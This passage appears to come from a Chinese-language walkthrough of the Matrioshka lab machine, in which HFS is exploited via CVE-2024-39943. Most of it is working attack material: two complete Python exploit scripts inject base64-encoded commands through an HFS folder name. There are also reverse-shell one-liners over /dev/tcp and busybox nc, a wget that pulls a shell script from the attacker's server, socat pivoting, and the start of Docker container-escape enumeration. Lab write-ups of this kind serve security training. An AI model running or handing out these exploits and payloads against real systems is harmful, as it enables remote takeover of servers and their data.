└─# echo &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.108/9999 0&amp;gt;&amp;amp;1&amp;#39; |base64       
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzk5OTkgMD4mMQo=
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/CVE-2024-39943-Poc-main]
└─# python new_poc.py
Url: http://127.0.0.1:7777/
Cookie: hfs_http=eyJ1c2VybmFtZSI6ImFkbWluIiwiaXAiOiIxNzIuMTkuMC4xIiwiX2V4cGlyZSI6MTc2OTMwODkxNTcwMCwiX21heEFnZSI6ODY0MDAwMDB9; hfs_http.sig=QbVN3mahV5vTUOHKnRCKvSPF6kQ
Base64Cmd: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzk5OTkgMD4mMQo=
[+] Step 1 add vfs
[+] Step 2 set vfs permission
[+] Step 3 create malicious folder
[+] Step 4 trigger execution
[+] Done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接反弹shell失败了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:/tmp$ ip a
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: enp0s3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:41:3c:f7 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.105/24 brd 192.168.0.255 scope global dynamic enp0s3
       valid_lft 4077sec preferred_lft 4077sec
    inet6 fe80::a00:27ff:fe41:3cf7/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:f3:47:75:e8 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
5: br-1f21cf17cc68: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:66:a5:ea:28 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-1f21cf17cc68
       valid_lft forever preferred_lft forever
    inet6 fe80::42:66ff:fea5:ea28/64 scope link 
       valid_lft forever preferred_lft forever
9: veth6369dce@if8: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue master br-1f21cf17cc68 state UP group default 
    link/ether d2:a8:b2:77:27:52 brd ff:ff:ff:ff:ff:ff link-netnsid 2
    inet6 fe80::d0a8:b2ff:fe77:2752/64 scope link 
       valid_lft forever preferred_lft forever
11: veth854363d@if10: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue master br-1f21cf17cc68 state UP group default 
    link/ether 06:55:63:ea:7e:e6 brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::455:63ff:feea:7ee6/64 scope link 
       valid_lft forever preferred_lft forever
12: br-457d4131991d: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:9e:d7:38:7e brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.1/16 brd 172.19.255.255 scope global br-457d4131991d
       valid_lft forever preferred_lft forever
    inet6 fe80::42:9eff:fed7:387e/64 scope link 
       valid_lft forever preferred_lft forever
14: veth1f5b280@if13: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue master br-457d4131991d state UP group default 
    link/ether 0e:dd:18:f4:8e:14 brd ff:ff:ff:ff:ff:ff link-netnsid 3
    inet6 fe80::cdd:18ff:fef4:8e14/64 scope link 
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1️⃣ 宿主真实网卡&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;enp0s3 → 192.168.0.105/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是 &lt;strong&gt;你 SSH 进来的那台 VM 的对外 IP&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;2️⃣ Docker bridge（重点）&lt;/h3&gt;
&lt;p&gt;你有 &lt;strong&gt;三个 bridge&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;docker0          → 172.17.0.1
br-1f21cf17cc68  → 172.18.0.1
br-457d4131991d  → 172.19.0.1   ← ★★★
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而你前面已经确认过：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;docker-proxy
container-ip: 172.19.0.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 &lt;strong&gt;HFS 就跑在 &lt;strong&gt;&lt;code&gt;**br-457d4131991d**&lt;/code&gt;&lt;/strong&gt; 这个网络里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;p&gt;💥 &lt;strong&gt;payload 实际执行位置 = 172.19.0.2 这个容器&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:~$ vi rev.sh
/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/172.19.0.1/4444 0&amp;gt;&amp;amp;1
matrioshka@matrioshka:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.19.0.2 - - [09/Mar/2025 09:36:58] &amp;quot;GET /rev.sh HTTP/1.1&amp;quot; 200 -
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wget 172.17.0.1:8000/rev.sh -O /tmp/rev.sh
┌──(web)─(root㉿kali)-[/home/kali]
└─# echo &amp;#39;wget 172.17.0.1:8000/rev.sh -O /tmp/rev.sh&amp;#39; |base64
d2dldCAxNzIuMTcuMC4xOjgwMDAvcmV2LnNoIC1PIC90bXAvcmV2LnNoCg==
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/CVE-2024-39943-Poc-main]
└─# python new_poc.py
Url: http://127.0.0.1:7777/
Cookie: hfs_http=eyJ1c2VybmFtZSI6ImFkbWluIiwiaXAiOiIxNzIuMTkuMC4xIiwiX2V4cGlyZSI6MTc2OTMxMDcxNTczNiwiX21heEFnZSI6ODY0MDAwMDB9; hfs_http.sig=44aOyFx6SzoAbSudgg_CfC17Fww
Base64Cmd: d2dldCAxNzIuMTcuMC4xOjgwMDAvcmV2LnNoIC1PIC90bXAvcmV2LnNoCg==
[+] Step 1 add vfs
[+] Step 2 set vfs permission
[+] Step 3 create malicious folder
[+] Step 4 trigger execution
[+] Done 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是没成功&lt;/p&gt;
&lt;h3&gt;修改代码&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#!/usr/bin/env python3
&amp;quot;&amp;quot;&amp;quot;
CVE-2024-39943 HFS RCE Exploit - Interactive Mode
&amp;quot;&amp;quot;&amp;quot;

import requests as req
import base64
import urllib.parse

# ========== 配置区域 ==========
url = input(&amp;quot;Url [http://127.0.0.1:7777/]: &amp;quot;) or &amp;quot;http://127.0.0.1:7777/&amp;quot;
cookie = input(&amp;quot;Cookie: &amp;quot;)
reverse_ip = input(&amp;quot;Reverse IP [172.17.0.1]: &amp;quot;) or &amp;quot;172.17.0.1&amp;quot;
reverse_port = input(&amp;quot;Reverse Port [4444]: &amp;quot;) or &amp;quot;4444&amp;quot;
http_port = input(&amp;quot;HTTP Port [8888]: &amp;quot;) or &amp;quot;8888&amp;quot;

if not url.endswith(&amp;quot;/&amp;quot;):
    url += &amp;quot;/&amp;quot;

headers = {&amp;quot;x-hfs-anti-csrf&amp;quot;: &amp;quot;1&amp;quot;, &amp;quot;Cookie&amp;quot;: cookie}

def exec_cmd(cmd):
    &amp;quot;&amp;quot;&amp;quot;执行任意命令&amp;quot;&amp;quot;&amp;quot;
    # 添加VFS
    req.post(url + &amp;quot;~/api/add_vfs&amp;quot;, headers=headers,
             json={&amp;quot;parent&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;source&amp;quot;: &amp;quot;/tmp&amp;quot;})
    # 设置权限
    req.post(url + &amp;quot;~/api/set_vfs&amp;quot;, headers=headers, json={
        &amp;quot;uri&amp;quot;: &amp;quot;/tmp/&amp;quot;,
        &amp;quot;props&amp;quot;: {&amp;quot;can_see&amp;quot;: None, &amp;quot;can_read&amp;quot;: None, &amp;quot;can_list&amp;quot;: None,
                  &amp;quot;can_upload&amp;quot;: &amp;quot;*&amp;quot;, &amp;quot;can_delete&amp;quot;: None, &amp;quot;can_archive&amp;quot;: None,
                  &amp;quot;source&amp;quot;: &amp;quot;/tmp&amp;quot;, &amp;quot;name&amp;quot;: &amp;quot;tmp&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;folder&amp;quot;, &amp;quot;masks&amp;quot;: None}
    })
    # 构造payload
    cmd_b64 = base64.b64encode(cmd.encode(&amp;#39;utf-8&amp;#39;)).decode(&amp;#39;utf-8&amp;#39;)
    payload = f&amp;#39;poc&amp;quot;;python3 -c &amp;quot;import os;import base64;os.system(base64.b64decode(\&amp;#39;{cmd_b64}\&amp;#39;))&amp;quot;&amp;#39;
    req.post(url + &amp;quot;~/api/create_folder&amp;quot;, headers=headers,
             json={&amp;quot;uri&amp;quot;: &amp;quot;/tmp/&amp;quot;, &amp;quot;name&amp;quot;: payload})
    req.get(url + f&amp;quot;~/api/get_ls?path=/tmp/{urllib.parse.quote(payload)}&amp;quot;, headers=headers)
    print(f&amp;quot;[+] Executed: {cmd}&amp;quot;)

print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*50)
print(&amp;quot;HFS RCE Interactive Shell&amp;quot;)
print(&amp;quot;=&amp;quot;*50)
print(&amp;quot;Commands:&amp;quot;)
print(&amp;quot;  1 or download  - 下载reverse_shell.sh&amp;quot;)
print(&amp;quot;  2 or shell     - 执行反弹shell&amp;quot;)
print(&amp;quot;  3 or custom    - 执行自定义命令&amp;quot;)
print(&amp;quot;  help           - 显示准备步骤&amp;quot;)
print(&amp;quot;  exit           - 退出&amp;quot;)
print(&amp;quot;=&amp;quot;*50)

while True:
    cmd = input(&amp;quot;\n&amp;gt; &amp;quot;).strip().lower()

    if cmd in [&amp;quot;1&amp;quot;, &amp;quot;download&amp;quot;]:
        exec_cmd(f&amp;quot;wget http://{reverse_ip}:{http_port}/reverse_shell.sh -O /tmp/reverse_shell.sh&amp;quot;)

    elif cmd in [&amp;quot;2&amp;quot;, &amp;quot;shell&amp;quot;]:
        exec_cmd(&amp;quot;bash /tmp/reverse_shell.sh&amp;quot;)

    elif cmd in [&amp;quot;3&amp;quot;, &amp;quot;custom&amp;quot;]:
        custom = input(&amp;quot;Enter command: &amp;quot;)
        exec_cmd(custom)

    elif cmd == &amp;quot;help&amp;quot;:
        print(f&amp;quot;&amp;quot;&amp;quot;
在matrioshka主机上执行:

1. 创建reverse_shell.sh:
   echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; /tmp/reverse_shell.sh
   echo &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/{reverse_ip}/{reverse_port} 0&amp;gt;&amp;amp;1&amp;#39; &amp;gt;&amp;gt; /tmp/reverse_shell.sh

2. 启动HTTP服务:
   cd /tmp &amp;amp;&amp;amp; python3 -m http.server {http_port} --bind {reverse_ip}

3. 启动监听:
   nc -lvnp {reverse_port}
&amp;quot;&amp;quot;&amp;quot;)

    elif cmd == &amp;quot;exit&amp;quot;:
        print(&amp;quot;Bye!&amp;quot;)
        break

    else:
        print(&amp;quot;Unknown command. Type: 1/download, 2/shell, 3/custom, help, exit&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/CVE-2024-39943-Poc-main]
└─# python new_poc.py
Url [http://127.0.0.1:7777/]: http://127.0.0.1:7777/
Cookie: hfs_http=eyJ1c2VybmFtZSI6ImFkbWluIiwiaXAiOiIxNzIuMTkuMC4xIiwiX2V4cGlyZSI6MTc2OTMxMjA4NjQ3MiwiX21heEFnZSI6ODY0MDAwMDB9; hfs_http.sig=oBLe_QpYLCtfwWMDMUMpGguRhuw
Reverse IP [172.17.0.1]: 172.19.0.1
Reverse Port [4444]: 4444
HTTP Port [8888]: 8000

==================================================
HFS RCE Interactive Shell
==================================================
Commands:
  1 or download  - 下载reverse_shell.sh
  2 or shell     - 执行反弹shell
  3 or custom    - 执行自定义命令
  help           - 显示准备步骤
  exit           - 退出
==================================================

&amp;gt; 1
[+] Executed: wget http://172.19.0.1:8000/reverse_shell.sh -O /tmp/reverse_shell.sh

matrioshka@matrioshka:/tmp$ echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; /tmp/reverse_shell.sh
matrioshka@matrioshka:/tmp$ echo &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/172.19.0.1/4444 0&amp;gt;&amp;amp;1&amp;#39; &amp;gt;&amp;gt; /tmp/reverse_shell.sh
matrioshka@matrioshka:/tmp$ python3 -m http.server 8000 --bind 172.19.0.1
Serving HTTP on 172.19.0.1 port 8000 (http://172.19.0.1:8000/) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;修改poc&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#!/usr/bin/env python3
&amp;quot;&amp;quot;&amp;quot;
CVE-2024-39943 HFS RCE - Based on Working WP
&amp;quot;&amp;quot;&amp;quot;
import requests as req
import base64
import urllib.parse

print(&amp;quot;=&amp;quot;*60)
print(&amp;quot;CVE-2024-39943 HFS RCE Exploit&amp;quot;)
print(&amp;quot;=&amp;quot;*60)

url = input(&amp;quot;Url [http://127.0.0.1:7777/]: &amp;quot;) or &amp;quot;http://127.0.0.1:7777/&amp;quot;
cookie = input(&amp;quot;Cookie: &amp;quot;)
reverse_ip = input(&amp;quot;Reverse IP [172.19.0.1]: &amp;quot;) or &amp;quot;172.19.0.1&amp;quot;
reverse_port = input(&amp;quot;Reverse Port [4444]: &amp;quot;) or &amp;quot;4444&amp;quot;

if not url.endswith(&amp;quot;/&amp;quot;):
    url += &amp;quot;/&amp;quot;

headers = {&amp;quot;x-hfs-anti-csrf&amp;quot;: &amp;quot;1&amp;quot;, &amp;quot;Cookie&amp;quot;: cookie}

# Step 1: 添加VFS
print(&amp;quot;\n[*] Step 1: 添加 VFS /tmp&amp;quot;)
r1 = req.post(url + &amp;quot;~/api/add_vfs&amp;quot;, headers=headers,
              json={&amp;quot;parent&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;source&amp;quot;: &amp;quot;/tmp&amp;quot;})
print(f&amp;quot;    Status: {r1.status_code}&amp;quot;)

# Step 2: 设置权限
print(&amp;quot;[*] Step 2: 设置 VFS 权限 (允许上传)&amp;quot;)
r2 = req.post(url + &amp;quot;~/api/set_vfs&amp;quot;, headers=headers, json={
    &amp;quot;uri&amp;quot;: &amp;quot;/tmp/&amp;quot;,
    &amp;quot;props&amp;quot;: {
        &amp;quot;can_see&amp;quot;: None, &amp;quot;can_read&amp;quot;: None, &amp;quot;can_list&amp;quot;: None,
        &amp;quot;can_upload&amp;quot;: &amp;quot;*&amp;quot;, &amp;quot;can_delete&amp;quot;: None, &amp;quot;can_archive&amp;quot;: None,
        &amp;quot;source&amp;quot;: &amp;quot;/tmp&amp;quot;, &amp;quot;name&amp;quot;: &amp;quot;tmp&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;folder&amp;quot;, &amp;quot;masks&amp;quot;: None
    }
})
print(f&amp;quot;    Status: {r2.status_code}&amp;quot;)

print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*60)
print(&amp;quot;[!] 现在请通过HFS Web界面上传 busybox 到 /tmp/ 目录!&amp;quot;)
print(f&amp;quot;    访问: {url}&amp;quot;)
print(&amp;quot;    1. 进入 /tmp/ 文件夹&amp;quot;)
print(&amp;quot;    2. 点击上传按钮&amp;quot;)
print(&amp;quot;    3. 上传 busybox 文件&amp;quot;)
print(&amp;quot;=&amp;quot;*60)
input(&amp;quot;\n上传完成后按 Enter 继续...&amp;quot;)

# Step 3: 创建reverse shell并执行
print(&amp;quot;\n[*] Step 3: 通过命令注入执行反弹shell&amp;quot;)

# 直接用busybox nc反弹shell
command = f&amp;quot;/tmp/busybox nc {reverse_ip} {reverse_port} -e /bin/bash&amp;quot;
print(f&amp;quot;    Command: {command}&amp;quot;)

cmd_b64 = base64.b64encode(command.encode(&amp;#39;utf-8&amp;#39;)).decode(&amp;#39;utf-8&amp;#39;)
payload = f&amp;#39;poc&amp;quot;;python3 -c &amp;quot;import os;import base64;os.system(base64.b64decode(\&amp;#39;{cmd_b64}\&amp;#39;))&amp;quot;&amp;#39;

# 创建文件夹触发
r3 = req.post(url + &amp;quot;~/api/create_folder&amp;quot;, headers=headers,
              json={&amp;quot;uri&amp;quot;: &amp;quot;/tmp/&amp;quot;, &amp;quot;name&amp;quot;: payload})
print(f&amp;quot;    create_folder Status: {r3.status_code}&amp;quot;)

# 执行
encoded_payload = urllib.parse.quote(payload)
r4 = req.get(url + f&amp;quot;~/api/get_ls?path=/tmp/{encoded_payload}&amp;quot;, headers=headers)
print(f&amp;quot;    get_ls Status: {r4.status_code}&amp;quot;)

print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*60)
print(&amp;quot;[+] 完成! 检查你的监听器&amp;quot;)
print(f&amp;quot;    监听命令: nc -lvnp {reverse_port}&amp;quot;)
print(&amp;quot;=&amp;quot;*60)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;订正&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hfs_http.sig=f_Q0EvPGzGSWmyCQtHd_gplkGgg;hfs_http=eyJ1c2VybmFtZSI6ImFkbWluIiwiaXAiOiIxNzIuMTkuMC4xIiwiX2V4cGlyZSI6MTc2OTMzOTcyMjM2OSwiX21heEFnZSI6ODY0MDAwMDB9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行poc后发现/tmp目录下创建文件&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;127.0.0.1:7777/~/api/get_ls?path=/tmp/poc&amp;quot;;python3 -c &amp;quot;import os;import base64;os.system(base64.b64decode(&amp;#39;d2dldCAxNzIuMTkuMC4xOjgwMDAvcmV2ZXJzZV9zaGVsbC5zaCAtTyAvdG1wL3Jldi5zaAo=
&amp;#39;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;bmNhdCAxNzIuMTkuMC4xIDQ0NDQgLWUgL2Jpbi9iYXNo为base64后的指令&lt;/p&gt;
&lt;p&gt;直接访问即可执行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;环境问题&lt;/h2&gt;
&lt;p&gt;ssh转发端口不好用啊&lt;/p&gt;
&lt;p&gt;好奇怪按理来讲可以的&lt;/p&gt;
&lt;p&gt;直接上传内网穿透工具吧&lt;/p&gt;
&lt;p&gt;socat或者&lt;code&gt;Ligolo&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/socat]
└─# tldr socat

  socat

  Multipurpose relay (SOcket CAT).
  More information: http://www.dest-unreach.org/socat/.

  - Listen to a port, wait for an incoming connection and transfer data to STDIO:
    sudo socat - TCP-LISTEN:8080,fork

  - Listen on a port using SSL and print to stdout:
    sudo socat OPENSSL-LISTEN:4433,reuseaddr,cert=./cert.pem,cafile=./ca.cert.pem,key=./key.pem,verify=0 STDOUT 

  - Create a connection to a host and port, transfer data in STDIO to connected host:                           
    sudo socat - TCP4:www.example.com:80

  - Forward incoming data of a local port to another host and port:                                             
    sudo socat TCP-LISTEN:80,fork TCP4:www.example.com:80                                                       

  - Send data with multicast routing scheme:
    echo &amp;quot;Hello Multicast&amp;quot; | socat - UDP4-DATAGRAM:224.0.0.1:5000

  - Receive data from a multicast:
    socat - UDP4-RECVFROM:5000
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:/tmp$ ./socat TCP-LISTEN:8000,fork TCP4:172.19.0.2:80 &amp;amp;
[1] 6455
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总算成了&lt;/p&gt;
&lt;p&gt;先用脚本跑一个，跑出这个文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后重命名这个base64代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Matrioshka-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后复制粘贴&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;192.168.0.105:8000/~/api/get_ls?path=/tmp/poc&amp;quot;;python3 -c &amp;quot;import os;import base64;os.system(base64.b64decode(&amp;#39;d2dldCAxNzIuMTkuMC4xOjgwMDEvcmV2ZXJzZV9zaGVsbC5zaCAtTyAvdG1wL3JldmVyc2Vfc2hlbGwuc2g=&amp;#39;))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;matrioshka@matrioshka:/tmp$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
172.19.0.2 - - [24/Jan/2026 07:20:41] &amp;quot;GET /reverse_shell.sh HTTP/1.1&amp;quot; 200 -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功读取&lt;/p&gt;
&lt;p&gt;然后再执行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/CVE-2024-39943-Poc-main]
└─# echo -n &amp;quot;bash /tmp/reverse_shell.sh&amp;quot;|base64

YmFzaCAvdG1wL3JldmVyc2Vfc2hlbGwuc2g=

matrioshka@matrioshka:/tmp$ cat reverse_shell.sh 
#!/bin/bash
bash -i &amp;gt;&amp;amp; /dev/tcp/172.19.0.1/4444 0&amp;gt;&amp;amp;1

matrioshka@matrioshka:/tmp$ busybox nc -lp 4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@78d6dd4e44f4:~/.hfs# 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;容器逃逸&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root@78d6dd4e44f4:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@78d6dd4e44f4:/# env
env
HOSTNAME=78d6dd4e44f4
PWD=/
HOME=/root
LS_COLORS=
PKG_EXECPATH=/opt/hfs/hfs
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
SHLVL=2
LC_CTYPE=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/root
root@78d6dd4e44f4:/# ip a
ip a
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
13: eth0@if14: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
       valid_lft forever preferred_lft forever
root@78d6dd4e44f4:/# cat /proc/1/cgroup 2&amp;gt;/dev/null | head -20
cat /proc/1/cgroup 2&amp;gt;/dev/null | head -20
0::/
root@78d6dd4e44f4:/# capsh --print 2&amp;gt;/dev/null || cat /proc/self/status | grep Cap
&amp;lt;int 2&amp;gt;/dev/null || cat /proc/self/status | grep Cap
WARNING: libcap needs an update (cap=40 should have a name).
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =
Securebits: 00/0x0/1&amp;#39;b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: UNCERTAIN (0)
root@78d6dd4e44f4:/# ls -la /var/run/docker.sock 2&amp;gt;/dev/null; ls -la /.dockerenv 2&amp;gt;/dev/null; ls -la /dev 2&amp;gt;/dev/null | head -30
&amp;lt;env 2&amp;gt;/dev/null; ls -la /dev 2&amp;gt;/dev/null | head -30
srw-rw---- 1 root 111 0 Jan 24 04:34 /var/run/docker.sock
-rwxr-xr-x 1 root root 0 Jan 24 04:35 /.dockerenv
total 4
drwxr-xr-x 5 root root  340 Jan 24 04:35 .
drwxr-xr-x 1 root root 4096 Jan 24 04:35 ..
lrwxrwxrwx 1 root root   11 Jan 24 04:35 core -&amp;gt; /proc/kcore
lrwxrwxrwx 1 root root   13 Jan 24 04:35 fd -&amp;gt; /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Jan 24 04:35 full
drwxrwxrwt 2 root root   40 Jan 24 04:35 mqueue
crw-rw-rw- 1 root root 1, 3 Jan 24 04:35 null
lrwxrwxrwx 1 root root    8 Jan 24 04:35 ptmx -&amp;gt; pts/ptmx
drwxr-xr-x 2 root root    0 Jan 24 04:35 pts
crw-rw-rw- 1 root root 1, 8 Jan 24 04:35 random
drwxrwxrwt 2 root root   40 Jan 24 04:35 shm
lrwxrwxrwx 1 root root   15 Jan 24 04:35 stderr -&amp;gt; /proc/self/fd/2
lrwxrwxrwx 1 root root   15 Jan 24 04:35 stdin -&amp;gt; /proc/self/fd/0
lrwxrwxrwx 1 root root   15 Jan 24 04:35 stdout -&amp;gt; /proc/self/fd/1
crw-rw-rw- 1 root root 5, 0 Jan 24 04:35 tty
crw-rw-rw- 1 root root 1, 9 Jan 24 04:35 urandom
crw-rw-rw- 1 root root 1, 5 Jan 24 04:35 zero
root@78d6dd4e44f4:/# mount | grep -E &amp;quot;(docker|overlay|/dev/)&amp;quot; 2&amp;gt;/dev/null
mount | grep -E &amp;quot;(docker|overlay|/dev/)&amp;quot; 2&amp;gt;/dev/null
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ZYCUXWQ2DAAJWEPJDKLO2JXP66:/var/lib/docker/overlay2/l/XYIUP7CXNA67TCTVYSDXIXLC2O,upperdir=/var/lib/docker/overlay2/1788c5b2eb9e9c043c6724165957edfa39599e9a314bd00c4d9deb6d058f2276/diff,workdir=/var/lib/docker/overlay2/1788c5b2eb9e9c043c6724165957edfa39599e9a314bd00c4d9deb6d058f2276/work)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k,inode64)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /opt/hfs/hfs-linux.zip type ext4 (rw,relatime,errors=remount-ro)
